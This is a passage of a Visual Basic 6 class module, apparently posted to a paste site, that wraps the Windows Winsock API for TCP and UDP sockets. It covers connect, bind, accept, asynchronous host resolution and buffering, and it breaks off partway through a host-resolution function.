· 9 years ago · Nov 05, 2016, 03:18 AM
1Option Explicit
2
3'==============================================================================
4'API FUNCTIONS
5'==============================================================================
6
7Private Declare Function api_socket Lib "ws2_32.dll" Alias "socket" (ByVal af As Long, ByVal s_type As Long, ByVal Protocol As Long) As Long
8Private Declare Function api_GlobalLock Lib "kernel32" Alias "GlobalLock" (ByVal hMem As Long) As Long
9Private Declare Function api_GlobalUnlock Lib "kernel32" Alias "GlobalUnlock" (ByVal hMem As Long) As Long
10Private Declare Function api_htons Lib "ws2_32.dll" Alias "htons" (ByVal hostshort As Integer) As Integer
11Private Declare Function api_ntohs Lib "ws2_32.dll" Alias "ntohs" (ByVal netshort As Integer) As Integer
12Private Declare Function api_connect Lib "ws2_32.dll" Alias "connect" (ByVal s As Long, ByRef name As sockaddr_in, ByVal namelen As Long) As Long
13Private Declare Function api_gethostname Lib "ws2_32.dll" Alias "gethostname" (ByVal host_name As String, ByVal namelen As Long) As Long
14Private Declare Function api_gethostbyname Lib "ws2_32.dll" Alias "gethostbyname" (ByVal host_name As String) As Long
15Private Declare Function api_bind Lib "ws2_32.dll" Alias "bind" (ByVal s As Long, ByRef name As sockaddr_in, ByRef namelen As Long) As Long
16Private Declare Function api_getsockname Lib "ws2_32.dll" Alias "getsockname" (ByVal s As Long, ByRef name As sockaddr_in, ByRef namelen As Long) As Long
17Private Declare Function api_getpeername Lib "ws2_32.dll" Alias "getpeername" (ByVal s As Long, ByRef name As sockaddr_in, ByRef namelen As Long) As Long
18Private Declare Function api_inet_addr Lib "ws2_32.dll" Alias "inet_addr" (ByVal cp As String) As Long
19Private Declare Function api_send Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByRef buf As Any, ByVal buflen As Long, ByVal flags As Long) As Long
20Private Declare Function api_sendto Lib "ws2_32.dll" Alias "sendto" (ByVal s As Long, ByRef buf As Any, ByVal buflen As Long, ByVal flags As Long, ByRef toaddr As sockaddr_in, ByVal tolen As Long) As Long
21Private Declare Function api_getsockopt Lib "ws2_32.dll" Alias "getsockopt" (ByVal s As Long, ByVal level As Long, ByVal optname As Long, optval As Any, optlen As Long) As Long
22Private Declare Function api_setsockopt Lib "ws2_32.dll" Alias "setsockopt" (ByVal s As Long, ByVal level As Long, ByVal optname As Long, optval As Any, ByVal optlen As Long) As Long
23Private Declare Function api_recv Lib "ws2_32.dll" Alias "recv" (ByVal s As Long, ByRef buf As Any, ByVal buflen As Long, ByVal flags As Long) As Long
24Private Declare Function api_recvfrom Lib "ws2_32.dll" Alias "recvfrom" (ByVal s As Long, ByRef buf As Any, ByVal buflen As Long, ByVal flags As Long, ByRef from As sockaddr_in, ByRef fromlen As Long) As Long
25Private Declare Function api_WSACancelAsyncRequest Lib "ws2_32.dll" Alias "WSACancelAsyncRequest" (ByVal hAsyncTaskHandle As Long) As Long
26Private Declare Function api_listen Lib "ws2_32.dll" Alias "listen" (ByVal s As Long, ByVal backlog As Long) As Long
27Private Declare Function api_accept Lib "ws2_32.dll" Alias "accept" (ByVal s As Long, ByRef addr As sockaddr_in, ByRef addrlen As Long) As Long
28Private Declare Function api_inet_ntoa Lib "ws2_32.dll" Alias "inet_ntoa" (ByVal inn As Long) As Long
29Private Declare Function api_gethostbyaddr Lib "ws2_32.dll" Alias "gethostbyaddr" (addr As Long, ByVal addr_len As Long, ByVal addr_type As Long) As Long
30Private Declare Function api_ioctlsocket Lib "ws2_32.dll" Alias "ioctlsocket" (ByVal s As Long, ByVal cmd As Long, ByRef argp As Long) As Long
31Private Declare Function api_closesocket Lib "ws2_32.dll" Alias "closesocket" (ByVal s As Long) As Long
32
33'==============================================================================
34'CONSTANTS
35'==============================================================================
36Public Enum SockState
37 sckClosed = 0
38 sckOpen
39 sckListening
40 sckConnectionPending
41 sckResolvingHost
42 sckHostResolved
43 sckConnecting
44 sckConnected
45 sckClosing
46 sckError
47End Enum
48
49Public Enum DestResolucion 'asynchronic host resolution destination
50 destConnect = 0
51 'destSendUDP = 1
52End Enum
53
54Private Const SOMAXCONN As Long = 5
55
56Public Enum ProtocolConstants
57 sckTCPProtocol = 0
58 sckUDPProtocol = 1
59End Enum
60
61Private Const MSG_PEEK As Long = &H2
62
63'==============================================================================
64'EVENTS
65'==============================================================================
66
67Public Event CloseSck()
68Public Event Connect()
69Public Event ConnectionRequest(ByVal requestID As Long)
70Public Event DataArrival(ByVal bytesTotal As Long)
71Public Event Error(ByVal Number As Integer, Description As String, ByVal sCode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
72Public Event SendComplete()
73Public Event SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
74
75'==============================================================================
76'MEMBER VARIABLES
77'==============================================================================
78Private m_lngSocketHandle As Long 'socket handle
79Private m_enmState As SockState 'socket state
80Private m_strTag As String 'tag
81Private m_strRemoteHost As String 'remote host
82Private m_lngRemotePort As Long 'remote port
83Private m_strRemoteHostIP As String 'remote host ip
84Private m_lngLocalPort As Long 'local port
85Private m_lngLocalPortBind As Long 'temporary local port
86Private m_strLocalIP As String 'local IP
87Private m_enmProtocol As ProtocolConstants 'protocol used (TCP / UDP)
88
89Private m_lngMemoryPointer As Long 'memory pointer used as buffer when resolving host
90Private m_lngMemoryHandle As Long 'buffer memory handle
91
92Private m_lngSendBufferLen As Long 'winsock buffer size for sends
93Private m_lngRecvBufferLen As Long 'winsock buffer size for receives
94
95Private m_strSendBuffer As String 'local incoming buffer
96Private m_strRecvBuffer As String 'local outgoing buffer
97
98Private m_blnAcceptClass As Boolean 'if True then this is a Accept socket class
99Private m_colWaitingResolutions As Collection 'hosts waiting to be resolved by the system
100
101' **** WARNING WARNING WARNING WARNING ******
102'This sub MUST be the first on the class. DO NOT attempt
103'to change it's location or the code will CRASH.
104'This sub receives system messages from our WndProc.
105Public Sub WndProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
106Select Case uMsg
107
108Case RESOLVE_MESSAGE
109
110 PostResolution wParam, HiWord(lParam)
111
112Case SOCKET_MESSAGE
113
114 PostSocket LoWord(lParam), HiWord(lParam)
115
116End Select
117End Sub
118
119Private Sub Class_Initialize()
120'socket's handle default value
121m_lngSocketHandle = INVALID_SOCKET
122
123'initiate resolution collection
124Set m_colWaitingResolutions = New Collection
125
126'initiate processes and winsock service
127modSocketMaster.InitiateProcesses
128End Sub
129
130Private Sub Class_Terminate()
131'clean hostname resolution system
132CleanResolutionSystem
133
134'destroy socket if it exists
135If Not m_blnAcceptClass Then DestroySocket
136
137'clean processes and finish winsock service
138modSocketMaster.FinalizeProcesses
139
140'clean resolution collection
141Set m_colWaitingResolutions = Nothing
142End Sub
143
144'==============================================================================
145'PROPERTIES
146'==============================================================================
147
148Public Property Get RemotePort() As Long
149RemotePort = m_lngRemotePort
150End Property
151
152Public Property Let RemotePort(ByVal lngPort As Long)
153If m_enmProtocol = sckTCPProtocol And m_enmState <> sckClosed Then
154 Err.Raise sckInvalidOp, "CSocketMaster.RemotePort", "Invalid operation at current state"
155End If
156
157If lngPort < 0 Or lngPort > 65535 Then
158 Err.Raise sckInvalidArg, "CSocketMaster.RemotePort", "The argument passed to a function was not in the correct format or in the specified range."
159Else
160 m_lngRemotePort = lngPort
161End If
162End Property
163
164Public Property Get RemoteHost() As String
165RemoteHost = m_strRemoteHost
166End Property
167
168Public Property Let RemoteHost(ByVal strHost As String)
169If m_enmProtocol = sckTCPProtocol And m_enmState <> sckClosed Then
170 Err.Raise sckInvalidOp, "CSocketMaster.RemoteHost", "Invalid operation at current state"
171End If
172
173m_strRemoteHost = strHost
174End Property
175
176Public Property Get RemoteHostIP() As String
177RemoteHostIP = m_strRemoteHostIP
178End Property
179
180Public Property Get LocalPort() As Long
181If m_lngLocalPortBind = 0 Then
182 LocalPort = m_lngLocalPort
183Else
184 LocalPort = m_lngLocalPortBind
185End If
186End Property
187
188Public Property Let LocalPort(ByVal lngPort As Long)
189If m_enmState <> sckClosed Then
190 Err.Raise sckInvalidOp, "CSocketMaster.LocalPort", "Invalid operation at current state"
191End If
192If lngPort < 0 Or lngPort > 65535 Then
193 Err.Raise sckInvalidArg, "CSocketMaster.LocalPort", "The argument passed to a function was not in the correct format or in the specified range."
194Else
195 m_lngLocalPort = lngPort
196End If
197End Property
198
199Public Property Get State() As SockState
200State = m_enmState
201End Property
202
203Public Property Get LocalHostName() As String
204LocalHostName = GetLocalHostName
205End Property
206
207Public Property Get LocalIP() As String
208If m_enmState = sckOpen Or m_enmState = sckListening Then
209 LocalIP = m_strLocalIP
210Else
211 LocalIP = GetLocalIP
212End If
213End Property
214
215Public Property Get BytesReceived() As Long
216If m_enmProtocol = sckTCPProtocol Then
217 BytesReceived = Len(m_strRecvBuffer)
218Else
219 BytesReceived = GetBufferLenUDP
220End If
221End Property
222
223Public Property Get SocketHandle() As Long
224SocketHandle = m_lngSocketHandle
225End Property
226
227Public Property Get Tag() As String
228Tag = m_strTag
229End Property
230
231Public Property Let Tag(ByVal strTag As String)
232m_strTag = strTag
233End Property
234
235Public Property Get Protocol() As ProtocolConstants
236Protocol = m_enmProtocol
237End Property
238
239Public Property Let Protocol(ByVal enmProtocol As ProtocolConstants)
240If m_enmState <> sckClosed Then
241 Err.Raise sckInvalidOp, "CSocketMaster.Protocol", "Invalid operation at current state"
242Else
243 m_enmProtocol = enmProtocol
244End If
245End Property
246
247'Destroys the socket if it exists and unregisters it
248'from control list.
249Private Sub DestroySocket()
250If Not m_lngSocketHandle = INVALID_SOCKET Then
251
252 Dim lngResult As Long
253
254 lngResult = api_closesocket(m_lngSocketHandle)
255
256 If lngResult = SOCKET_ERROR Then
257
258 m_enmState = sckError: Debug.Print "STATE: sckError"
259 Dim lngErrorCode As Long
260 lngErrorCode = Err.LastDllError
261 Err.Raise lngErrorCode, "CSocketMaster.DestroySocket", GetErrorDescription(lngErrorCode)
262
263 Else
264
265 Debug.Print "OK Destroyed socket " & m_lngSocketHandle
266 modSocketMaster.UnregisterSocket m_lngSocketHandle
267 m_lngSocketHandle = INVALID_SOCKET
268
269 End If
270
271End If
272End Sub
273
274Public Sub CloseSck()
275If m_lngSocketHandle = INVALID_SOCKET Then Exit Sub
276
277m_enmState = sckClosing: Debug.Print "STATE: sckClosing"
278CleanResolutionSystem
279DestroySocket
280
281m_lngLocalPortBind = 0
282m_strRemoteHostIP = ""
283m_strRecvBuffer = ""
284m_strSendBuffer = ""
285m_lngSendBufferLen = 0
286m_lngRecvBufferLen = 0
287
288m_enmState = sckClosed: Debug.Print "STATE: sckClosed"
289
290End Sub
291
292'Tries to create a socket if there isn't one yet and registers
293'it to the control list.
294'Returns TRUE if it has success
295Private Function SocketExists() As Boolean
296SocketExists = True
297Dim lngResult As Long
298Dim lngErrorCode As Long
299
300'check if there is a socket already
301If m_lngSocketHandle = INVALID_SOCKET Then
302
303 'decide what kind of socket we are creating, TCP or UDP
304 If m_enmProtocol = sckTCPProtocol Then
305 lngResult = api_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
306 Else
307 lngResult = api_socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
308 End If
309
310 If lngResult = INVALID_SOCKET Then
311
312 m_enmState = sckError: Debug.Print "STATE: sckError"
313 Debug.Print "ERROR trying to create socket"
314 SocketExists = False
315 lngErrorCode = Err.LastDllError
316 Dim blnCancelDisplay As Boolean
317 blnCancelDisplay = True
318 RaiseEvent Error(lngErrorCode, GetErrorDescription(lngErrorCode), 0, "CSocketMaster.SocketExists", "", 0, blnCancelDisplay)
319 If blnCancelDisplay = False Then MsgBox GetErrorDescription(lngErrorCode), vbOKOnly, "CSocketMaster.SocketExists"
320 Else
321
322 Debug.Print "OK Created socket: " & lngResult
323 m_lngSocketHandle = lngResult
324 'set and get some socket options
325 ProcessOptions
326 SocketExists = modSocketMaster.RegisterSocket(m_lngSocketHandle, ObjPtr(Me), True)
327
328 End If
329End If
330End Function
331
332'Tries to connect to RemoteHost if it was passed, or uses
333'm_strRemoteHost instead. If it is a hostname tries to
334'resolve it first.
335Public Sub Connect(Optional RemoteHost As Variant, Optional RemotePort As Variant)
336If m_enmState <> sckClosed Then
337 Err.Raise sckInvalidOp, "CSocketMaster.Connect", "Invalid operation at current state"
338End If
339
340If Not IsMissing(RemoteHost) Then
341 m_strRemoteHost = CStr(RemoteHost)
342End If
343
344'for some reason we get a GPF if we try to
345'resolve a null string, so we replace it with
346'an empty string
347If m_strRemoteHost = vbNullString Then
348 m_strRemoteHost = ""
349End If
350
351'check if RemotePort is a number between 1 and 65535
352If Not IsMissing(RemotePort) Then
353 If IsNumeric(RemotePort) Then
354 If CLng(RemotePort) > 65535 Or CLng(RemotePort) < 1 Then
355 Err.Raise sckInvalidArg, "CSocketMaster.Connect", "The argument passed to a function was not in the correct format or in the specified range."
356 Else
357 m_lngRemotePort = CLng(RemotePort)
358 End If
359 Else
360 Err.Raise sckUnsupported, "CSocketMaster.Connect", "Unsupported variant type."
361 End If
362End If
363
364'create a socket if there isn't one yet
365If Not SocketExists Then Exit Sub
366
367'If we are using UDP we just bind the socket and exit
368'silently. Remember UDP is a connectionless protocol.
369If m_enmProtocol = sckUDPProtocol Then
370 If BindInternal Then
371 m_enmState = sckOpen: Debug.Print "STATE: sckOpen"
372 End If
373 Exit Sub
374End If
375
376'try to get a 32 bits long that is used to identify a host
377Dim lngAddress As Long
378lngAddress = ResolveIfHostname(m_strRemoteHost, destConnect)
379
380'We've got two options here:
381'1) m_strRemoteHost was an IP, so a resolution wasn't
382' necessary, and now lngAddress is a 32 bits long and
383' we proceed to connect.
384'2) m_strRemoteHost was a hostname, so a resolution was
385' necessary and it's taking place right now. We leave
386' silently.
387
388If lngAddress <> vbNull Then
389 ConnectToIP lngAddress, 0
390End If
391
392End Sub
393
394'When the system resolves a hostname in asynchronous way we
395'call this function to decide what to do with the result.
396Private Sub PostResolution(ByVal lngAsynHandle As Long, ByVal lngErrorCode As Long)
397If m_enmState <> sckResolvingHost Then Exit Sub
398
399Dim enmDestination As DestResolucion
400
401'find out what the resolution destination was
402enmDestination = m_colWaitingResolutions.Item("R" & lngAsynHandle)
403'erase that record from the collection since we won't need it any longer
404m_colWaitingResolutions.Remove "R" & lngAsynHandle
405
406If lngErrorCode = 0 Then 'if there weren't errors trying to resolve the hostname
407
408 m_enmState = sckHostResolved: Debug.Print "STATE: sckHostResolved"
409
410 Dim udtHostent As HOSTENT
411 Dim lngPtrToIP As Long
412 Dim arrIpAddress(1 To 4) As Byte
413 Dim lngRemoteHostAddress As Long
414 Dim Count As Integer
415 Dim strIpAddress As String
416
417 api_CopyMemory udtHostent, ByVal m_lngMemoryPointer, LenB(udtHostent)
418 api_CopyMemory lngPtrToIP, ByVal udtHostent.hAddrList, 4
419 api_CopyMemory arrIpAddress(1), ByVal lngPtrToIP, 4
420 api_CopyMemory lngRemoteHostAddress, ByVal lngPtrToIP, 4
421
422 'free memmory, won't need it any longer
423 FreeMemory
424
425 'We turn the 32 bits long into a readable string.
426 'Note: we don't need this string. I put this here just
427 'in case you need it.
428 For Count = 1 To 4
429 strIpAddress = strIpAddress & arrIpAddress(Count) & "."
430 Next
431
432 strIpAddress = Left$(strIpAddress, Len(strIpAddress) - 1)
433
434 'Decide what to do with the result according to the destination
435 Select Case enmDestination
436
437 Case destConnect
438 ConnectToIP lngRemoteHostAddress, 0
439
440 End Select
441
442Else 'there were errors trying to resolve the hostname
443
444 'free buffer memory
445 FreeMemory
446
447 Select Case enmDestination
448
449 Case destConnect
450 ConnectToIP vbNull, lngErrorCode
451
452 End Select
453
454End If
455End Sub
456
457'This procedure is called by the WindowProc callback function
458'from the modSocketMaster module. The lngEventID argument is an
459'ID of the network event occurred for the socket. The lngErrorCode
460'argument contains an error code only if an error was occurred
461'during an asynchronous execution.
462Private Sub PostSocket(ByVal lngEventID As Long, ByVal lngErrorCode As Long)
463
464'handle any possible error
465If lngErrorCode <> 0 Then
466 m_enmState = sckError: Debug.Print "STATE: sckError"
467 Dim blnCancelDisplay As Boolean
468 blnCancelDisplay = True
469 RaiseEvent Error(lngErrorCode, GetErrorDescription(lngErrorCode), 0, "CSocketMaster.PostSocket", "", 0, blnCancelDisplay)
470 If blnCancelDisplay = False Then MsgBox GetErrorDescription(lngErrorCode), vbOKOnly, "CSocketMaster.PostSocket"
471 Exit Sub
472End If
473
474Dim udtSockAddr As sockaddr_in
475Dim lngResult As Long
476Dim lngBytesReceived As Long
477
478Select Case lngEventID
479
480'======================================================================
481
482Case FD_CONNECT
483
484 'Arrival of this message means that the connection initiated by the call
485 'of the connect Winsock API function was successfully established.
486
487 Debug.Print "FD_CONNECT " & m_lngSocketHandle
488
489 If m_enmState <> sckConnecting Then
490 Debug.Print "WARNING: Omitting FD_CONNECT"
491 Exit Sub
492 End If
493
494 'Get the connection local end-point parameters
495 lngResult = api_getpeername(m_lngSocketHandle, udtSockAddr, LenB(udtSockAddr))
496
497 If lngResult = 0 Then
498 m_lngRemotePort = modSocketMaster.IntegerToUnsigned(api_ntohs(udtSockAddr.sin_port))
499 m_strRemoteHostIP = StringFromPointer(api_inet_ntoa(udtSockAddr.sin_addr))
500 End If
501
502 m_enmState = sckConnected: Debug.Print "STATE: sckConnected"
503 RaiseEvent Connect
504
505'======================================================================
506
507Case FD_WRITE
508
509 'This message means that the socket in a write-able
510 'state, that is, buffer for outgoing data of the transport
511 'service is empty and ready to receive data to send through
512 'the network.
513
514 Debug.Print "FD_WRITE " & m_lngSocketHandle
515
516 If m_enmState <> sckConnected Then
517 Debug.Print "WARNING: Omitting FD_WRITE"
518 Exit Sub
519 End If
520
521 If Len(m_strSendBuffer) > 0 Then
522 SendBufferedData
523 End If
524
525'======================================================================
526
527Case FD_READ
528
529 'Some data has arrived for this socket.
530
531 Debug.Print "FD_READ " & m_lngSocketHandle
532
533 If m_enmProtocol = sckTCPProtocol Then
534
535 If m_enmState <> sckConnected Then
536 Debug.Print "WARNING: Omitting FD_READ"
537 Exit Sub
538 End If
539
540 'Call the RecvDataToBuffer function that move arrived data
541 'from the Winsock buffer to the local one and returns number
542 'of bytes received.
543
544 lngBytesReceived = RecvDataToBuffer
545
546 If lngBytesReceived > 0 Then
547 RaiseEvent DataArrival(Len(m_strRecvBuffer))
548 End If
549
550 Else 'UDP protocol
551
552 If m_enmState <> sckOpen Then
553 Debug.Print "WARNING: Omitting FD_READ"
554 Exit Sub
555 End If
556
557 'If we use UDP we don't remove data from winsock buffer.
558 'We just let the user know the amount received so
559 'he/she can decide what to do.
560
561 lngBytesReceived = GetBufferLenUDP
562
563 If lngBytesReceived > 0 Then
564 RaiseEvent DataArrival(lngBytesReceived)
565 End If
566
567
568 'Now the buffer is emptied no matter what the user
569 'dicided to do with the received data
570 EmptyBuffer
571 End If
572
573
574'======================================================================
575
576Case FD_ACCEPT
577
578 'When the socket is in a listening state, arrival of this message
579 'means that a connection request was received. Call the accept
580 'Winsock API function in oreder to create a new socket for the
581 'requested connection.
582
583 Debug.Print "FD_ACCEPT " & m_lngSocketHandle
584 If m_enmState <> sckListening Then
585 Debug.Print "WARNING: Omitting FD_ACCEPT"
586 Exit Sub
587 End If
588
589 lngResult = api_accept(m_lngSocketHandle, udtSockAddr, LenB(udtSockAddr))
590
591 If lngResult = INVALID_SOCKET Then
592 lngErrorCode = Err.LastDllError
593 Err.Raise lngErrorCode, "CSocketMaster.PostSocket", GetErrorDescription(lngErrorCode)
594 Else
595 'We assign a temporal instance of CSocketMaster to
596 'handle this new socket until user accepts (or not)
597 'the new connection
598 modSocketMaster.RegisterAccept lngResult
599
600 'We change remote info before firing ConnectionRequest
601 'event so the user can see which host is trying to
602 'connect.
603
604 Dim lngTempRP As Long
605 Dim strTempRHIP As String
606 Dim strTempRH As String
607 lngTempRP = m_lngRemotePort
608 strTempRHIP = m_strRemoteHostIP
609 strTempRH = m_strRemoteHost
610
611 GetRemoteInfo lngResult, m_lngRemotePort, m_strRemoteHostIP, m_strRemoteHost
612
613 Debug.Print "OK Accepted socket: " & lngResult
614 RaiseEvent ConnectionRequest(lngResult)
615
616 'we return original info
617 If m_enmState = sckListening Then
618 m_lngRemotePort = lngTempRP
619 m_strRemoteHostIP = strTempRHIP
620 m_strRemoteHost = strTempRH
621 End If
622
623 'This is very important. If the connection wasn't accepted
624 'we must close the socket.
625 If IsAcceptRegistered(lngResult) Then
626 api_closesocket lngResult
627 modSocketMaster.UnregisterSocket lngResult
628 modSocketMaster.UnregisterAccept lngResult
629 Debug.Print "OK Closed accepted socket: " & lngResult
630 End If
631 End If
632
633'======================================================================
634
635Case FD_CLOSE
636
637 'This message means that the remote host is closing the conection
638
639 Debug.Print "FD_CLOSE " & m_lngSocketHandle
640
641 If m_enmState <> sckConnected Then
642 Debug.Print "WARNING: Omitting FD_CLOSE"
643 Exit Sub
644 End If
645
646 m_enmState = sckClosing: Debug.Print "STATE: sckClosing"
647 RaiseEvent CloseSck
648
649End Select
650End Sub
651
652'Connect to a given 32 bits long ip
653Private Sub ConnectToIP(ByVal lngRemoteHostAddress As Long, ByVal lngErrorCode As Long)
654
655Dim blnCancelDisplay As Boolean
656
657'Check and handle errors
658If lngErrorCode <> 0 Then
659 m_enmState = sckError: Debug.Print "STATE: sckError"
660 blnCancelDisplay = True
661 RaiseEvent Error(lngErrorCode, GetErrorDescription(lngErrorCode), 0, "CSocketMaster.ConnectToIP", "", 0, blnCancelDisplay)
662 If blnCancelDisplay = False Then MsgBox GetErrorDescription(lngErrorCode), vbOKOnly, "CSocketMaster.ConnectToIP"
663 Exit Sub
664End If
665
666'Here we bind the socket
667If Not BindInternal Then Exit Sub
668
669Debug.Print "OK Connecting to: " + m_strRemoteHost + " " + m_strRemoteHostIP
670m_enmState = sckConnecting: Debug.Print "STATE: sckConnecting"
671
672Dim udtSockAddr As sockaddr_in
673Dim lngResult As Long
674
675'Build the sockaddr_in structure to pass it to the connect
676'Winsock API function as an address of the remote host.
677With udtSockAddr
678 .sin_addr = lngRemoteHostAddress
679 .sin_family = AF_INET
680 .sin_port = api_htons(modSocketMaster.UnsignedToInteger(m_lngRemotePort))
681End With
682
683'Call the connect Winsock API function in order to establish connection.
684lngResult = api_connect(m_lngSocketHandle, udtSockAddr, LenB(udtSockAddr))
685
686'Check and handle errors
687If lngResult = SOCKET_ERROR Then
688 lngErrorCode = Err.LastDllError
689 If lngErrorCode <> WSAEWOULDBLOCK Then
690 If lngErrorCode = WSAEADDRNOTAVAIL Then
691 Err.Raise WSAEADDRNOTAVAIL, "CSocketMaster.ConnectToIP", GetErrorDescription(WSAEADDRNOTAVAIL)
692 Else
693 m_enmState = sckError: Debug.Print "STATE: sckError"
694 blnCancelDisplay = True
695 RaiseEvent Error(lngErrorCode, GetErrorDescription(lngErrorCode), 0, "CSocketMaster.ConnectToIP", "", 0, blnCancelDisplay)
696 If blnCancelDisplay = False Then MsgBox GetErrorDescription(lngErrorCode), vbOKOnly, "CSocketMaster.ConnectToIP"
697 End If
698 End If
699End If
700
701End Sub
702
703Public Sub Bind(Optional LocalPort As Variant, Optional LocalIP As Variant)
704If m_enmState <> sckClosed Then
705 Err.Raise sckInvalidOp, "CSocketMaster.Bind", "Invalid operation at current state"
706End If
707
708If BindInternal(LocalPort, LocalIP) Then
709 m_enmState = sckOpen: Debug.Print "STATE: sckOpen"
710End If
711End Sub
712
713'This function binds a socket to a local port and IP.
714'Retunrs TRUE if it has success.
715Private Function BindInternal(Optional ByVal varLocalPort As Variant, Optional ByVal varLocalIP As Variant) As Boolean
716If m_enmState = sckOpen Then
717 BindInternal = True
718 Exit Function
719End If
720
721Dim lngLocalPortInternal As Long
722Dim strLocalHostInternal As String
723Dim strIP As String
724Dim lngAddressInternal As Long
725Dim lngResult As Long
726Dim lngErrorCode As Long
727
728BindInternal = False
729
730'Check if varLocalPort is a number between 0 and 65535
731If Not IsMissing(varLocalPort) Then
732
733 If IsNumeric(varLocalPort) Then
734 If varLocalPort < 0 Or varLocalPort > 65535 Then
735 BindInternal = False
736 Err.Raise sckInvalidArg, "CSocketMaster.BindInternal", "The argument passed to a function was not in the correct format or in the specified range."
737 Else
738 lngLocalPortInternal = CLng(varLocalPort)
739 End If
740 Else
741 BindInternal = False
742 Err.Raise sckUnsupported, "CSocketMaster.BindInternal", "Unsupported variant type."
743 End If
744
745Else
746
747 lngLocalPortInternal = m_lngLocalPort
748
749End If
750
751If Not IsMissing(varLocalIP) Then
752 If varLocalIP <> vbNullString Then
753 strLocalHostInternal = CStr(varLocalIP)
754 Else
755 strLocalHostInternal = GetLocalIP
756 End If
757Else
758 strLocalHostInternal = GetLocalIP
759End If
760
761'get a 32 bits long IP
762lngAddressInternal = ResolveIfHostnameSync(strLocalHostInternal, strIP, lngResult)
763
764If lngResult <> 0 Then
765 Err.Raise sckInvalidArg, "CSocketMaster.BindInternal", "Invalid argument"
766End If
767
768'create a socket if there isn't one yet
769If Not SocketExists Then Exit Function
770
771Dim udtSockAddr As sockaddr_in
772
773With udtSockAddr
774 .sin_addr = lngAddressInternal
775 .sin_family = AF_INET
776 .sin_port = api_htons(modSocketMaster.UnsignedToInteger(lngLocalPortInternal))
777End With
778
779'bind the socket
780lngResult = api_bind(m_lngSocketHandle, udtSockAddr, LenB(udtSockAddr))
781
782If lngResult = SOCKET_ERROR Then
783
784 lngErrorCode = Err.LastDllError
785 Err.Raise lngErrorCode, "CSocketMaster.BindInternal", GetErrorDescription(lngErrorCode)
786
787Else
788
789 m_strLocalIP = strIP
790
791 If lngLocalPortInternal <> 0 Then
792
793 Debug.Print "OK Bind HOST: " & strLocalHostInternal & " PORT: " & lngLocalPortInternal
794 m_lngLocalPort = lngLocalPortInternal
795
796 Else
797 lngResult = GetLocalPort(m_lngSocketHandle)
798
799 If lngResult = SOCKET_ERROR Then
800 lngErrorCode = Err.LastDllError
801 Err.Raise lngErrorCode, "CSocketMaster.BindInternal", GetErrorDescription(lngErrorCode)
802 Else
803 Debug.Print "OK Bind HOST: " & strLocalHostInternal & " PORT: " & lngResult
804 m_lngLocalPortBind = lngResult
805 End If
806
807 End If
808
809 BindInternal = True
810End If
811End Function
812
813'Allocate some memory for HOSTEN structure and returns
814'a pointer to this buffer if no error occurs.
815'Returns 0 if it fails.
816Private Function AllocateMemory() As Long
817m_lngMemoryHandle = api_GlobalAlloc(GMEM_FIXED, MAXGETHOSTSTRUCT)
818
819If m_lngMemoryHandle <> 0 Then
820 m_lngMemoryPointer = api_GlobalLock(m_lngMemoryHandle)
821
822 If m_lngMemoryPointer <> 0 Then
823 api_GlobalUnlock (m_lngMemoryHandle)
824 AllocateMemory = m_lngMemoryPointer
825 Else
826 api_GlobalFree (m_lngMemoryHandle)
827 AllocateMemory = m_lngMemoryPointer '0
828 End If
829
830Else
831 AllocateMemory = m_lngMemoryHandle '0
832End If
833End Function
834
835'Free memory allocated by AllocateMemory
836Private Sub FreeMemory()
837If m_lngMemoryHandle <> 0 Then
838 m_lngMemoryHandle = 0
839 m_lngMemoryPointer = 0
840 api_GlobalFree m_lngMemoryHandle
841End If
842End Sub
843
844Private Function GetLocalHostName() As String
845Dim strHostNameBuf As String * LOCAL_HOST_BUFF
846Dim lngResult As Long
847
848lngResult = api_gethostname(strHostNameBuf, LOCAL_HOST_BUFF)
849
850If lngResult = SOCKET_ERROR Then
851 GetLocalHostName = vbNullString
852 Dim lngErrorCode As Long
853 lngErrorCode = Err.LastDllError
854 Err.Raise lngErrorCode, "CSocketMaster.GetLocalHostName", GetErrorDescription(lngErrorCode)
855Else
856 GetLocalHostName = Left(strHostNameBuf, InStr(1, strHostNameBuf, Chr(0)) - 1)
857End If
858End Function
859
860Private Function GetLocalIP() As String
861Dim lngResult As Long
862Dim lngPtrToIP As Long
863Dim strLocalHost As String
864Dim arrIpAddress(1 To 4) As Byte
865Dim Count As Integer
866Dim udtHostent As HOSTENT
867Dim strIpAddress As String
868
869strLocalHost = GetLocalHostName
870
871lngResult = api_gethostbyname(strLocalHost)
872
873If lngResult = 0 Then
874 GetLocalIP = vbNullString
875 Dim lngErrorCode As Long
876 lngErrorCode = Err.LastDllError
877 Err.Raise lngErrorCode, "CSocketMaster.GetLocalIP", GetErrorDescription(lngErrorCode)
878Else
879 api_CopyMemory udtHostent, ByVal lngResult, LenB(udtHostent)
880 api_CopyMemory lngPtrToIP, ByVal udtHostent.hAddrList, 4
881 api_CopyMemory arrIpAddress(1), ByVal lngPtrToIP, 4
882
883 For Count = 1 To 4
884 strIpAddress = strIpAddress & arrIpAddress(Count) & "."
885 Next
886
887 strIpAddress = Left$(strIpAddress, Len(strIpAddress) - 1)
888 GetLocalIP = strIpAddress
889End If
890End Function
891
892'If Host is an IP doesn't resolve anything and returns a
893'a 32 bits long IP.
894'If Host isn't an IP then returns vbNull, tries to resolve it
895'in asynchronous way and acts according to enmDestination.
896Private Function ResolveIfHostname(ByVal Host As String, ByVal enmDestination As DestResolucion) As Long
897Dim lngAddress As Long
898lngAddress = api_inet_addr(Host)
899
900If lngAddress = INADDR_NONE Then 'if Host isn't an IP
901
902 ResolveIfHostname = vbNull
903 m_enmState = sckResolvingHost: Debug.Print "STATE: sckResolvingHost"
904
905 If AllocateMemory Then
906
907 Dim lngAsynHandle As Long
908 lngAsynHandle = modSocketMaster.ResolveHost(Host, m_lngMemoryPointer, ObjPtr(Me))
909
910 If lngAsynHandle = 0 Then
911 FreeMemory
912 m_enmState = sckError: Debug.Print "STATE: sckError"
913 Dim lngErrorCode As Long
914 lngErrorCode = Err.LastDllError
915 Dim blnCancelDisplay As Boolean
916 blnCancelDisplay = True
917 RaiseEvent Error(lngErrorCode, GetErrorDescription(lngErrorCode), 0, "CSocketMaster.ResolveIfHostname", "", 0, blnCancelDisplay)
